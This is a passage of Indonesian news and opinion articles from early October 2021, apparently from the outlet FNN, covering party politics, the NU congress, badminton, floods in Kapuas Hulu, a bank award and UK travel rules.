Parpol" tidaklah tepat. Peraturan perundangan undangan telah memberi kewenangan penuh soal AD/ART Partai kepada internal partai itu sendiri. Jika ngotot juga dengan pandangan bahwa ada kekosongan hukum, maka yang seharusnya diuji materil adalah UU Parpol bukan AD/ART Partai. Nah demikian Pak Fahri Bachmid tanggapannya. Terhadap pandangan Prof Yusril kepada Prof Mahfud MD yang telah menilai tak ada gunanya menggugat AD/ART Partai, nampak nya Pak Yusril Ihza tak perlu berucap dan meminta Pak Mahfud MD untuk "tidak ikut campur terhadap kisruh di tubuh Partai Demokrat" karena justru Pak Yusril sendiri yang sedang aktif ikut campur terhadap kisruh di tubuh Partai Demokrat. Meski dengan dalih sebagai Advokat yang berhak membela siapapun, akan tetapi sangatlah tidak etis jika seorang Ketua Umum sebuah Partai Politik ikut campur pada kisruh Partai Politik lainnya. Moral politik harus menjadi ruh dari praktek hukum agar tetap diakui sebagai pakar hukum bukan berubah menjadi pakir hukum. *) Pemerhati Politik dan Kebangsaan

Tim Indonesia Jalani Pemulihan Psikologis Usai Gagal di Piala Sudirman

Jakarta, FNN - Tim bulu tangkis Indonesia dikabarkan sedang menjalani pemulihan kondisi psikologis menyusul kegagalan dalam ajang Piala Sudirman yang digelar di Energia Areena, Vantaa, Finlandia mulai 26 September hingga 3 Oktober 2021. Menurut psikolog tim bulu tangkis Indonesia Endro Wibowo, setelah kegagalan tersebut, saat ini ia dan timnya terus berupaya mendongkrak kembali semangat, motivasi, dan daya juang para pemain. “Kondisi tim saat ini memang sedang dalam pemulihan, sembari mengevaluasi kegagalan yang kemarin terjadi di Piala Sudirman. Ini dilakukan agar tim lebih matang dan lebih siap lagi pada ajang perebutan Thomas dan Uber Cup pekan depan,” kata Endro dalam keterangan resmi PP PBSI yang diterima Antara di Jakarta, Ahad 3 Oktober 2021. Di mata Endro, dari aspek psikologi, penyebab kekalahan Skuad Garuda di babak knock out saat menghadapi tim Malaysia adalah faktor kelengahan, sehingga para pemain kehilangan konsentrasi dan fokus mereka untuk menerapkan strategi bermain masing-masing. “Para pemain sebenarnya telah berupaya keras memberikan yang terbaik saat bertanding, namun ada sedikit kelengahan, seperti hilang fokus di lapangan. Hal ini dapat dimanfaatkan lawan, sehingga mengakibatkan kekalahan,” ujar Endro, sebagaimana dikutip dari Antara. Gagal merebut Piala Sudirman, tim Indonesia selanjutnya akan melanjutkan perjuangan mereka dalam ajang Piala Thomas-Uber yang diselenggarakan pada 9-17 Oktober 2021 di Ceres Arena, Aarhus, Denmark. “Kami akan mengembalikan kepercayaan diri para pemain, karena pada dasarnya mereka adalah pemain hebat dan andalan Indonesia,” tutur Endro. “Selain itu, pemain harus meningkatkan fokus saat di lapangan, poin demi poin, dan tidak boleh merasa sudah unggul meski sudah jauh memimpin. Tetap fokus sampai pertandingan selesai,” tambahnya. Lebih lanjut, ia mengungkapkan ada banyak cara untuk membangkitkan kembali motivasi dan semangat juang tim Indonesia, di antaranya, yaitu dengan mengajak mereka ngobrol. “Ngobrol ini dilakukan untuk menilai kelebihan para pemain dan menemukan alasan kenapa mereka pantas masuk tim ini, sehingga kepercayaan diri mereka muncul kembali,” jelas Endro. “Untuk fokus pemain, kami berkolaborasi dengan pelatih supaya mengingatkan mereka saat bertanding. Untuk pemain ganda, kami meminta agar kedua pemain yang bertarung di lapangan saling mengingatkan pasangannya," tambah Endro. Tim Indonesia terhenti di babak perempat final Piala Sudirman setelah takluk 2-3 dari Malaysia. Sementara China keluar sebagai juara setelah menundukkan Jepang 3-1 pada laga final yang digelar Minggu malam WIB. (MD).

Ciptakan Oligarki, Ekonomi Terpimpin Harus Dihentikan

Jakarta, (FNN) - Ekonomi terpimpin harus segera dihentikan. Sebab, selain tidak sesuai dengan konstitusi, juga menciptakan oligarki dan cukong secara terus-menerus. "Hentikan ekonomi terpimpin karena bertentangan dengan konstitusi," kata mantan Sekretaris Menteri Badan Usaha Milik Negara (BUMN), Muhammad Said Didu dalam dengar pendapat masyarakat oleh anggota Majelis Permusyawaratan Rakyat (MPR), bertema, "Hilang Arah Ekonomi Pancasila", Ahad, 3 Oktober 2021. Acara yang digelar oleh Ketua Kelompok Dewan Perwakilan Rakyat (DPD) di Majelis Permusyawaratan Rakyat (MPR), Tamsil Linrung itu, menampilkan pengamat ekonomi, Salamuddin Daeng dan Awali Rizky sebagai narasumber. Said Didu menyebutkan beberapa contoh bentuk ekonomi terpimpin yang dilakukan oleh Presiden Joko Widodo. “Pemindahan Ibu Kota Negara itu, bentuk ekonomi terpimpim. Omnibus Law (UU Cipta Kerja) itu contoh kongkrit ekonomi terpimpin,” kata Said dalam acara yang berlangsung di kawasan pendidikan Insan Cendekia Madani (ICM), Serpong, Kota Tangerang Selatan, Banten. Sekarang adalah puncak terjadinya ekonomi terpimpin. UU Cipta Kerja tersebut menimbulkan banyak masalah. Misalnya, lingkungan diabaikan. Banyak hak tenaga kerja yang diabaikan. Banyak persoalan yang terdapat pada UU tersebut, karena lebih berpihak pada oligarki dan cukong. Contoh lainnya tentang ekonomi terpimpin itu adalah utang luar negeri yang terus meningkat. Oleh karena itu, cara memperbaiki keadaan negara adalah dengan menghentikan ekonomi terpimpin. Selain meminta agar ekonomi terpimpim segera dihentikan, ia menegaskan agar Kementerian Badan Usaha Milik Negara (BUMN) dibubarkan. Karena sebuah badan, yan sepantasnya dipimpin seorang kepada badan, bukan menteri. Sebab, ujarnya, sebuah badan milik negara semestinya tidak berada di bawah presiden, dalam arti harus independen. Ia memberikan contoh TNI (Tentara Nasional Indonesia), Mahkamah Agung, itu sebuah badan milik negara yang tidak berada di bawah presiden (melainkan sebuah badan independen). (MD/M.Anwar Ibrahim/Job).

Muktamar-34: Refleksi Gerak Organisatoris NU sebagai Jam’iyyah (2)

Oleh: Mochamad Toha KH Agus Solachul Aam Wahib Wahab alias Gus Aam, Ketum KKNU 1926/ NU Khittah 1926. Dhurriyat Hadratush Syech Mbah KH. Wahab Chasbullah ini merefleksi gerak organisatoris NU. Yakni, refleksi gerak organisatoris NU sebagai jam'iyyah yang mengemban misi melayani umat. Sebagaimana diketahui dan dipahami bersama bahwa NU adalah Jam' iyyatu Adlin Wa Amaanin, wa Islahin, dan Wa Ihsaanin. Menurutnya, NU adalah institusi yang bergerak didasarkan pada Pola Pikir, Pola Sikap, dan Perilaku yang berlandaskan kepada Nilai Kebenaran dan Keadilan, memperjuangkan Nilai-Nilai Keagamaan, Sistem Kebangsaan. Sistem Kemasyarakatan yang didasarkan kepada Nilai-Nilai Kebenaran dan Keadilan sesuai Muqadimah Qanun Assasi Hadratus Syech KH Hasyim Asy'ari, Pendiri NU. “Karena itu, setiap gerak organisasi NU wajib didasarkan pada kesadaran dan keinsyafan sebagai jam'iyyah yang mengemban amanah dakwah serta menjunjung tinggi ajaran,” ungkap Gus Aam. Ajaran atau paham ahlussunnah wal jama'ah sekaligus menjadikan Qanun Asasi NU sebagai rujukan aktivitas organisasi, dengan memperhatikan hal-hal sebagai berikut: Pertama, Sistim Politik yang dibawa oleh NU yaitu Politik Kebangsaan dan Politik Kerakyatan yang mengarah pada tegaknya Kebenaran dan Keadilan dalam dinamika kehidupan berbangsa dan bernegara dalam bingkai NKRI. “Inilah pondasi yang paling penting untuk membangun pilar pergerakan, sebagaimana dicanangkan oleh para pendiri NU,” lanjut Gus Aam. Seiring dengan dinamika politik di Indonesia yang tidak menguntungkan dalam proses demokrasi dan tatanan kehidupan berbangsa dan bernegara, ternyata PBNU ikut terjebak dengan dinamika politik praktis dan pragmatis, terseret jauh kedalam kubangan politik praktis yang tidak menentu. Keadaan tersebut sangat merugikan jam'iyyah dan mengaburkan orientasi dakwah dan pelayanan terhadap umat sebagai tujuan utama dan penting yang menjadi bagian dari misi NU. Hal itu diperparah lagi dengan beberapa pernyataan Ketum PBNU KH Said Aqil Siradj yang tidak konsisten, yang justru seringkali membingungkan, mengecewakan, meruntuhkan marwah dan wibawa jam'iyyah. Serta berdampak pada stigma negatif di kalangan masyarakat pada institusi NU yang pada akhirnya menyakiti hati umat Islam dan berimplikasi kepada rapuhnya Ukhuwah Islamiyyah. Kedua, sikap dan kebijakan PBNU yang dibangun dengan sistem politik praktis mengacu pada (Ashabul Qorror) daripada Ashabul Haq Wal Adl itu, akhirnya PBNU mengalami disorientasi gerakan. “Lebih ingin menguasai umat dan bukan melayani umat. Hal demikian, tentulah sangat bertentangan dengan nilai-nilai khittah NU,” ungkap Gus Aam. Ketiga, Kebijakan lainnya yang sangat menyesatkan adalah bahwa khittah NU Mutaghoyyir Conditioning (sesuatu yang dapat berubah-ubah sesuai perkembangan) menyebabkan NU terjebak ke dalam arus pragmatisme dan materialisme. “Padahal Khittah NU itu adalah Tsabit/final yakni hanya berorientasi pada pencapaian ridlo Allah SWT,” lanjut Gus Aam. Akibatnya Gerakan NU dalam menegakkan ashabul haq wal adl (kebenaran dan keadilan) kurang tajam, tidak menggigit. Dan, bahkan bergeser kepada ashabul qorror. Selain menyebabkan terjadinya disorientasi, keadaan ini juga menimbulkan disharmoni dan disintegrasi di internal NU. “Tiga hal itulah, yang sekarang ini sedang dan terus terjadi dalam tubuh PBNU,” ujar Gus Aam. Dengan demikian untuk menjawab aspirasi jam' iyyatu adlin wa amaanin wa islahin dan wa ihsaanin diperlukan sosok figur yang dapat menjadi panutan dan suri tauladan sebagai simbol Kader NU. Serta memiliki visi kongkrit untuk mengatasi problem NU kini dan masa mendatang. “Dan bertanggung jawab serta kompeten dalam memimpin institusi NU,” lanjut Gus Aam. Hingga saat ini calon yang bakal maju Calon Ketum PBNU terkuat menjadi Ketum PBNU diantaranya adalah Abdul Muhaimin Iskandar, Yahya Cholil Staquf, dan Said Aqil Siradj. Gus Aam mengakui, ketiga Caketum PBNU tersebut memang mempunyai kekuatan dari sisi finansial, kekuasaan, dan jabatan. Tapi, mereka belum memenuhi atau setidaknya belum memiliki konsep yang jelas bagaimana menata arah NU agar kembali ke khittahnya. Oleh karena itu, sebagai salah satu cucu Pendiri, Inisiator, dan Penggerak NU, KH Wahab Chasbullah dan sebagai Ketum KKNU 1926/NU Khittah 1926, Gus Aam sangat berharap semoga di Muktamar NU Desember 2021 ini dapat mengadopsi kriteria Caketum PBNU yang dapat memungkinkan tercapainya tujuan NU, yaitu: Bersih (Clean); tidak pernah punya “dosa” masa lalu, terutama berkaitan dengan kasus-kasus dugaan korupsi yang hingga kini masih menggantung hingga kini. Tujuannya untuk dijadikan “sandera”. Memiliki visi politik yang merekatkan umat, menjadikan NU sebagai ormas yang juga mengayomi seluruh elemen pergerakan Islam, sekaligus terdepan dalam merajut ukhuwah Islamiyyah. Mampu menempatkan relasi kekuasaan dan organisasi, menjaga marwah jam'iyyah, serta mampu mengakselerasi aktivitas politik yang bertujuan pada penegakkan ashabul haq wal adl (Kebenaran dan Keadilan). Harus mempunyai target kinerja yang riil dan kongkrit. Misalnya: Berapa banyak Rumah Sakit yang akan didirikan; Berapa banyak universitas yang akan didirikan; Berapa banyak sekolah-sekolah/pondok pesantren yang akan didirikan; Berapa banyak pasar yang akan didirikan; Berapa banyak Koperasi yang akan didirikan; Berapa banyak Panti Asuhan yang akan didirikan. Harus mempunyai kompetensi dalam me-manage seluruh potensi SDM, SDA, dan Market yang ada di pondok pesantren dan masyarakat. Berilmu dan mengerti, memahami, dan sanggup melaksanakan ajaran atau paham ahlussunnah wal jama'ah, sanggup dan mampu membentengi ahlus sunnah wal jama'ah. Menurut Gus Aam, semua kriteria yang ditetapkan tersebut, intinya adalah dalam rangka merealisasikan visi melayani umat. “Inilah yang seharusnya dilakukan oleh PBNU di bawah kepemimpinan siapapun,” katanya. Karena itu, lanjutnya, setiap Caketum PBNU wajib memiliki kriteria yang sejalan dengan visi dan misi NU yakni menegakkan ajaran Islam menurut paham ahlussunnah wal jama'ah di dalam bermasyarakat, berbangsa dan bernegara dalam wadah Negara Kesatuan Republik Indonesia (NKRI). (Bersambung)

Jadi Inspirasi dan Teman Diskusi, Anis Matta: Gagasan Besar Partai Gelora Dilahirkan Bersama Kopi

Jakarta, FNN - Pada Jumat, 1 Oktober 2021 lalu, masyarakat dunia memperingati Hari Kopi Internasional, tidak terkecuali Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta. Peringatan yang dimulau pada 2015 ini, bukan hanya sebagai bentuk penghargaan kepada kopi yang telah menemani umat manusia dalam berbagai situasi dan kondisi, tetapi didedikasikan untuk para petani kopi atas upaya mereka memproduksi biji kopi, sekaligus mempromosikan perdagangan kopi yang adil di seluruh dunia. "Awalnya saya rutin ngopi karena saran dokter. Tapi dari kebiasaan ngopi itu saya membaca sejarah dan budaya kopi di seluruh dunia," kata Anis Matta dalam keterangannya, Minggu (3/10/2021). Menurut dia, satu yang selalu muncul, kopi sangat dekat dengan diskusi dan inspirasi. Budaya kopi diduga lahir pertama kali pada abad ke-14 di Turki, yang kemudian menyebar ke Eropa dan Mediterania. Di kota-kota Eropa, kafe telah menjadi tempat berkumpul para budayawan, intelektual, dan filsuf. Tak jarang ide revolusi juga lahir dari perdebatan yang hangat di kedai kopi. Budaya kopi di Nusantara juga punya sejarah yang panjang, sejak perniagaan oleh VOC. "Saya baca, tahun 1700-an kopi dari Jawa telah memenuhi Eropa. Karena itu kopi sering juga disebut Java," ujarnya. Hampir semua daerah di Indonesia memiliki budaya kopi. Walaupun mungkin yang sangat terasa ada di Sumatra, Bangka-Belitung, atau Pontianak. Kedai kopi seolah menjadi institusi sosial, bahkan seperti 'parlemen jalanan' untuk membahas isu-isu penting dalam suatu komunitas. "Saya selalu menyempatkan diri untuk mencoba kedai kopi di kota-kota yang saya datangi. Di berbagai negara dan di Tanah Air. Kadang tanpa agenda, hanya untuk menangkap 'public mood'," katanya. Anis Matta mengungkapkan, sebagian besar gagasan yang kini mengkristal menjadi gagasan Partai Gelora juga dilahirkan bersama kopi. Baik saat sendiri atau dalam diskusi penuh argumentasi. Selalu ada inspirasi menyertai setiap cangkir kopi. Juga ada cerita perjalanan yang menyertainya. "Saya bahagia melihat budaya kopi dan kedai kopi tumbuh makin subur belakangan ini. Tapi kalau boleh, ayo ngopi sambil diskusi, bukan sekadar selfie-selfie," kata Ketua Umum Partai Gelora Indonesia ini. Yakni diskusi tentang imajinasi masa depan Indonesia dan usaha menjadikannya sebagai kekuatan utama dunia, kekuatan lima besar dunia dan menjadi salah satu pemain global. "Kopi bisa kita jadikan sarana diplomasi menghadapi para Great Power dunia. Baik lewat wanginya aroma arabica atau pahitnya citarasa robusta," katanya. Karena itu, kopi dinilai lebih dari sekadar minuman pagi yang nikmat, secangkir minuman kopi mewakili komunitas, mata pencaharian, gairah, persahabatan, dan tradisi. Tetapi kopi juga dapat memberi energi, menghangatkan, menyegarkan, membangunkan, dan bahkan bertemu dengan orang yang kita cintai. Kopi telah menjadi minuman pokok banyak rumah tangga selama beberapa generasi dan tersebar di seluruh dunia selama lebih dari 600 tahun. "Selamat Hari Kopi Sedunia. Semoga petani, pedagang, seniman, dan penikmat kopi berbahagia. Selalu ada insipirasi dalam secangkir kopi. Apa kopi kesukaanmu?" tanya Anis Matta mengakhiri. (sws).

BRI Raih Penghargaan Bank UMKM Terbaik Versi Asiamoney

Jakarta, FNN - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI secara berturut turut dinobatkan sebagai Best Bank for SME (UMKM) 2021 oleh media ekonomi dan keuangan terkemuka, Asiamoney. Dalam publikasinya yang diterima di Jakarta, Minggu, Asiamoney mengapresiasi keberhasilan BRI yang mampu menjaga kinerja di tengah pandemi dan saat bersamaan menyelamatkan UMKM melalui strategi business follow stimulus. "Sebagai contoh, selama pandemi, BRI menyalurkan kredit kepada UMKM senilai Rp45 triliun yang bersumber dari penempatan dana pemerintah, menyalurkan subsidi bunga senilai Rp5,47 triliun dan menyalurkan subsidi upah senilai Rp6,45 triliun," tulis Asiamoney. Asiamoney juga menyoroti kiprah BRI yang berkomitmen untuk terus menciptakan economic value dan social value serta mendorong inklusi dan literasi keuangan, sebuah hal yang tidak mudah dilakukan mengingat di Indonesia terdapat lebih dari 270 juta penduduk yang tersebar di lebih dari 17 ribu pulau. Asiamoney mengatakan perseroan memiliki strategi dalam menjangkau masyarakat yang bertempat tinggal di daerah terpencil serta terluar. Melalui Agen BRILink, BRI memiliki 500 ribu agen dengan volume transaksi mencapai Rp843,2 triliun pada 2020. Tak hanya itu, peran BRI dalam mendorong inklusi keuangan juga memberikan dampak terhadap peningkatan literasi keuangan, seiring penyaluran pembiayaan kepada pelaku UMKM. Mengapresiasi penghargaan Asiamoney tersebut, Direktur Utama BRI Sunarso mengaku bangga atas apresiasi tersebut mengingat momentumnya bersamaan dengan sinergi ultramikro yang tengah diakselerasi oleh perseroan. "Saat ini, dunia internasional telah memahami dan percaya dengan visi maupun strategi BRI yang terutama kembali ke core-nya pada segmen UMKM. Penghargaan ini akan kami jadikan pemacu semangat untuk mencapai visi 'The Most Valuable Banking Group in Southeast Asia' dan 'Champion of Financial Inclusion' di tahun 2025," tutur Sunarso. (mth)

Oktober Ini, Inggris Hapus Indonesia dari Daftar Merah Perjalanan

London, FNN - Inggris akan menghapus Indonesia dari daftar merah perjalanan pada Oktober, tidak lagi mewajibkan karantina di hotel selama 10 hari bagi orang yang tiba dari Indonesia dalam keadaan sudah divaksin dosis lengkap anti-COVID-19. Selain Indonesia, negara-negara yang akan dihapus dari daftar wajib karantina COVID-19 tersebut antara lain Afrika Selatan, Brazil, dan Meksiko. Perubahan kebijakan seperti itu akan diumumkan pada Kamis (7/10) dan kemungkinan akan menghasilkan lonjakan pemesanan tiket penerbangan dan wisata. Jumlah negara yang masuk dalam "daftar merah" tujuan Inggris akan dipangkas dari 54 negara menjadi hanya sembilan negara. Kebijakan karantina hotel pada negara-negara berisiko tinggi menimbulkan biaya 2.285 pound atau sekitar Rp44 juta per orang sehingga berdampak buruk bagi industri perjalanan global. Perdana Menteri Inggris Boris Johnson akan membuka lebih banyak perjalanan internasional bebas karantina hotel mulai akhir pekan ini. Inggris sudah berencana melonggarkan aturan perjalanannya mulai 4 Oktober dengan menghapus daftar kuning negara-negara tujuan berisiko sedang. Selain itu, Inggris tidak lagi mengharuskan penumpang yang divaksinasi penuh untuk menjalani tes COVID-19 sebelum mereka tiba dari negara-negara yang bukan dari daftar merah perjalanan. Pemerintah mengatakan bahwa, orang-orang yang datang di Inggris mulai beberapa waktu kemudian pada Oktober tidak lagi harus mengikuti tes PCR. Sebagai gantinya, mereka dapat memilih tes cepat (rapid test) --yang biayanya lebih murah. (mth)

Bupati Kapuas Hulu Tinjau Lokasi Banjir Minta Warga Tetap Siaga

Kapuas Hulu, FNN - Bupati Kapuas Hulu, Provinsi Kalimantan Barat Fransiskus Diaan saat meninjau warganya yang menjadi korban banjir meminta kepada seluruh masyarakat untuk selalu siaga dan waspada terhadap kondisi banjir yang terjadi di daerah itu, yang merupakan banjir terbesar di tahun 2021. "Banjir kali ini adalah sejarah, yakni banjir terbesar di Kapuas Hulu, saya imbau tetap waspada dan siaga dan saya minta pihak kecamatan segera melaporkan data warga korban banjir," katanya usai meninjau lokasi banjir di sejumlah titik di Putussibau Kapuas Hulu, Minggu. Ia mengatakan untuk saat ini Pemkab Kapuas Hulu terus melakukan pendataan dan monitoring kondisi banjir. "Kami terus berkoordinasi, mendata dan monitor daerah Kapuas Hulu yang terendam banjir, semoga banjir ini segera surut dan masyarakat bisa beraktivitas seperti biasa," kata Bupati yang juga meninjau posko bencana Badan Penanggulangan Bencana Daerah (BPBD) Kapuas Hulu. Ia juga berpesan kepada masyarakat untuk selalu mengutamakan keselamatan jiwa di saat kondisi banjir seperti ini. "Jika perlu evakuasi segera hubungi petugas terdekat, waspada dan berhati-hati utamakan keselamatan," katanya. Terkait kondisi banjir saat ini, berdasarkan data BPBD Kapuas Hulu ada 10 kecamatan terendam banjir. "Data yang kami terima ada 10 kecamatan terendam banjir, banjir ini cukup besar mengakibatkan aktivitas masyarakat lumpuh, akses jalan terputus dan rumah warga terendam banjir," kata Kepala BPBD Kapuas Hulu Gunawan. Dikatakannya bahwa banjir terjadi sejak 2 Oktober 2021 dengan kedalaman air rata-rata satu hingga tiga meter. "Banjir ini karena curah hujan cukup tinggi, jika kami perhatikan banjir berangsur sedikit surut, namun Minggu (3/10) sore ini kembali terjadi hujan dan angin kencang, sehingga kami minta warga tetap waspada dan berhati-hati," kata Gunawan. Berdasarkan pantauan di lapangan ANTARA melaporkan hingga Minggu sore kondisi banjir masih merendam rumah warga. Akses jalan terputus dan terjadi pemadaman listrik negara yang disebabkan tingginya debit air. Saat ini warga yang rumahnya terendam banjir memerlukan bantuan berupa makanan darurat seperti mie instan, makanan kaleng serta beras. "Kami tidak bisa kemana-mana akses terputus, listrik padam dan tidak bisa melakukan penarikan uang tunai di mesin ATM, tentu ini menyulitkan kami dalam memenuhi kebutuhan pokok selama banjir," kata Fitri, salah satu korban banjir di Kecamatan Putussibau Selatan. Ia berharap pemerintah daerah segera mengambil sikap, sehingga dapat segera memberikan bantuan kepada masyarakat yang memerlukan di tengah banjir sedang melanda. "Di saat banjir merendam rumah seperti ini lah warga memerlukan bantuan, karena kami tidak bisa berbuat apa-apa, apalagi tidak bisa menarik uang tunai di ATM karena listrik tidak menyala, sementara persediaan makan sudah habis," demikian Fitri. (mth)

Tim Voli Putra Jabar Catat Kemenangan Kedua di PON Papua

Jayapura, FNN - Tim voli putra Jawa Barat (Jabar) mencatat kemenangan kedua pada pertandingan fase penyisihan Grup A Pekan Olahraga Nasional (PON) XX Papua di GOR Koya Yoso, Jayapura, Jumat. Anak asuh Agus Irawan tersebut mengalahkan Sulawesi Utara (Sulut) dengan skor telak, 3-0 (25 -22, 25-19 dan 28-26). Dan dengan hasil tersebut membuat Dimas Saputra, Jasen Natanael, Sandi dan kawan-kawan menjaga asa lolos dari fase grup. "Meski sudah aman, tapi kami akan tetap fokus hingga pertandingan terakhir lawan tuan rumah," ujar Pelatih Voli Putra Jabar Agus Irawan ditemui usai pertandingan. Sejak set awal, tim Jabar tampil dominan dan smash-smash yang dilakukan kerap gagal ditahan oleh pemain Sulawesi Utara. Set pertama Jabar menang dengan skor 25-22. Set kedua tidak jauh berbeda dengan set awal dan tampak Sulut belum mampu menemukan permainan terbaiknya. Rofik, Zainal, Filipo dan kawan-kawan harus kembali mengakui keunggulan Jabar dengan skor 25-19. Baru di set ketiga, Sulut mampu memberikan perlawanan sengit dan memaksa Jabar bermain hingga deuce beberapa kali. Tapi, smash-smash keras, ditambah mental pemain membuat Sulut harus mengakui keunggulan Jabar dengan skor 28-26. Secara permainan, Agus Irawan melihat permainan anak asuhnya masih jauh dari harapan dan tidak dalam kondisi terbaik. "Tapi saya tekankan ke anak-anak, bahwa setiap pertandingan adalah final. Semoga hasil ini memotivasi kami di pertandingan berikutnya," kata Agus. Pada pertandingan selanjutnya, Senin (4/10l), Tim Jabar akan menghadapi tuan rumah Papua yang pertandingan pertama juga mengalahkan Sulut dengan skor 3-2. Sedangkan, Jabar pada laga perdana lalu sukses menekuk Papua Barat dengan tiga set langsung. (mth)

KLHK Dorong Kelompok Binaan Balai TNRAW Berkembang

Kendari, FNN - Direktur Jenderal Perhutanan Sosial dan Kemitraan Lingkungan (Dirjen PSKL) Kementerian Lingkungan Hidup dan Kehutanan (KLHK) Bambang Supriyanto mendorong agar kelompok binaan Balai Taman Nasional Rawa Aopa Watumohai (TNRAW) dapat berkembang. "Para pendamping kelompok fasilitator atau tenaga pendamping agar bisa terus membantu kelompok masyarakat dalam berproses memajukan usaha mereka. Untuk itu pendamping harus proaktif jika ingin kelompok binaannya terus berkembang," kata dia saat bertemu kelompok binaan Balai TNRAW melalui keterangan tertulis Humas Balai TNRAW yang diterima di Kendari, Minggu. Dia menyampaikan, pihaknya juga siap melakukan fasilitasi para kelompok binaan TNRAW tekait pengurusan sertifikasi halal dari Majelis Ulama Indonesia (MUI) dan izin edar dari Badan Pengawasan Obat dan Makanan (BPOM). "Ditjen (Direktorat Jenderal) PSKL melalui Balai PSKL wilayah Sulawesi dapat memfasilitasi dan berkoordinasi ke MUI dan Dinas Kesehatan sehingga produk olahan masyarakat dapat dipasarkan secara luas baik melalui pasar tradisional maupun e-commerse," ujar dia. Dirjen PSKL KLHK melakukan kunjungan kerja dengan melakukan pertemuan dengan delapan kelompok kemitraan konservasi binaan Balai TNARW pada 1-2 Oktober di Kabupaten Konawe Selatan (Konsel). Dirjen PSKL menyampaikan beberapa hal terkait program kemitraan konservasi, di antaranya mengenai bagaimana membentuk asosiasi kelompok masyarakat, membuat badan usaha atau kelompok untuk menjamin pasar, membuat industri berbasis masyarakat serta peningkatan kapasitas kelompok masyarakat dan berdialog dengan kelompok binaan. Dia juga menyarankan agar usaha yang dikembangkan oleh kelompok harus sama sesuai dengan peta kemitraan konservasi, misalnya pada kelompok pemanfaat mangrove yang berjumlah lima kelompok semuanya fokus menjadi pemasok kepiting atau pembuat terasi agar kelompok bisa saling mendukung apabila ada permintaan produk dalam jumlah besar. Kepala Balai TNRAW Ali Bahri menyampaikan , dari 2017-2021 pihaknya telah membentuk, penguatan kapasitas kelompok dan pemberian usaha ekonomi produktif kepada delapan kelompok kemitraan konservasi, yaitu terdiri dari lima akses pemanfaatan pada zona tradisional mangrove, dua akses pemanfaatan pada zona tradisional rawa dan satu akses pada zona tradisional Hukae Laea. "Adapun total luas pemanfaatanya adalah sekitar 1.943 hektare dengan melibatkan 183 Kepala Keluarga," katanya. (mth)

Bupati Bangka Yakin APKLI Mampu Bantu Tingkatkan Ekonomi Daerah

Bangka, FNN - Bupati Bangka Provinsi Kepulauan Bangka Belitung Mulkan menyakini Asosiasi Pedagang Kaki Lima (APLKI) melalui pedagang kaki limanya mampu membantu meningkatkan ekonomi daerah. "Saya cukup yakin, APKLI yang terdiri dari ratusan pedagang kaki lima yang di dalamnya merupakan pelaku usaha mikro kecil dan menengah (UMKM) mampu membantu meningkatkan pertumbuhan ekonomi," katanya di Sungailiat, Babel, Minggu. Dia mengakui UMKM yang tergabung dalam APKLI dengan berbagai jenis usaha mempunyai peran cukup besar penyokong pertumbuhan produk domestik di tengah pandemi COVID-19. "Pemerintah memberikan perhatian serius terhadap perkembangan usaha ekonomi kerakyatan baik pembinaan maupun permodalan pinjaman melalui mitra bank," jelasnya. Bupati mengajak APKLI sebagai perpanjangan pemerintah agar bersama-sama menjaga dan menata pedagang kaki lima agar tetap menjual dagangannya di pasar pada tepat yang sudah ditetapkan. "Ketertiban lingkungan pasar harus benar-benar kita jaga bersama seperti tidak diperbolehkannya kegiatan menjual di atas trotoar karena dapat merugikan orang lain," ujarnya. Ketua DPD APKLI Kabupaten Bangka M Nico Supriyono mengatakan jumlah pedagang kaki lima terdiri atas berbagai jenis dagangannya sampai saat tercatat kurang lebih 300 orang. "Kita tetap bersinergi dengan pemerintah, namun hendaknya pedagang kaki lima diberikan ruang sebagaimana mestinya untuk mengembangkan usahanya," katanya. (mth)

Muktamar-34: Perlu Pembenahan Total di PBNU (1)

Oleh: Mochamad Toha Gelaran Muktamar ke-34 Nahdlatul Ulama (NU) pada 23-25 Desember 2021 di Lampung bakal menarik. Dipastikan akan terjadi perebutan kursi Ketua Umum PBNU antara yang status quo dengan non status quo. Sebelumnya, Sabtu hingga Ahad (26/9/21), PBNU menggelar Musyawarah Nasional (Munas) Alim Ulama dan Konferensi Besar (Konbes) NU di Hotel Grand Sahid Jaya, Jakarta. Sejumlah kiai sepuh di Jawa Timur, sebelumnya, Senin (20/9/2021), telah mengadakan pertemuan di Pondok Pesantren Lirboyo, Kota Kediri. Intinya, meminta agar Muktamar ke-34 NU berlangsung pada 2021. Ada juga sebagian mengusulkan pada 2022, pertimbangannya Covid-19, seperti PWNU DKI Jakarta, PWNU Sumatera Selatan (Sumsel) dan PWNU Kalimantan Utara serta PP Fatayat NU. Soal waktu, menurut Prof Dr H Rochmat Wahab, MPd, MA, lebih cepat lebih baik. “Harapan para kiai sepuh Jawa Timur, logis,” katanya. “Kalau molor terus, kredibilitas dan wibawa organisasi ini semakin jatuh. Mundur bukan berarti berkualitas,” lanjut Prof Rochmat Wahab, Kamis (23/9/21). Soal pandemi Covid-19, kata Prof Rochmat Wahab, kini, kondisinya sudah melandai. Tentu, peserta Muktamar harus taat protokol kesehatan. “Ormas lain bisa melakukan, masak kita tidak bisa,” tegasnya. “Apalagi faktanya, syahwat politik pengurus NU sekarang semakin vulgar, ini berbahaya bagi NU ke depan,” tambah Ketua Tanfidziyah Pengurus Wilayah Nahdlatul Ulama DIJ masa bakti 2011-2016 ini. Prof. Rochmat Wahab kemudian menyebut, banyak hal yang harus segera mendapat koreksi dari perilaku oknum pengurus NU. Diam-diam, katanya, PBNU sekarang ini sudah ‘terbeli’. Dikatakan, pengurus NU lebih suka bersenang-senang dengan kekuasaan, jabatan. “Akhirnya NU seperti jadi stempel penguasa. Pengurus NU senang ketika Ormas ini mendapat lahan 10 hektar,” ungkapnya. “Sementara itu kita diam ketika ratusan warga NU dalam ancaman seperti dialami Rocky Gerung. Ini jelas bukan NU yang diinginkan Mbah Hasyim, Mbah Wahab, dan Gus Dur,” jelasnya. Lahan 10 ha yang dimaksud Prof Rochmat Wahab tersebut tak lain adalah sebagian tanah “sengketa” yang diakui milik PT Sentul City Tbk yang telah dihibahkan oleh Luhut Binsar Panjaitan. Menteri Koordinator Kemaritiman dan Investasi (Menko Marves) itu telah menepati janjinya kepada almarhum Presiden keempat RI Abdurrahman Wahid atau akrab disapa Gus Dur. Saat itu, ia mengusulkan untuk membuat sekolah bagi warga NU. Gus Dur setuju dan sangat antusias. Sejak itu, kata Luhut, ia mencari lahan yang pas untuk membangun Universitas Nahdlatul Ulama Indonesia (Unusia). “Dan akhirnya moment yang saya nanti-nantikan itu tiba, saya menepati janji 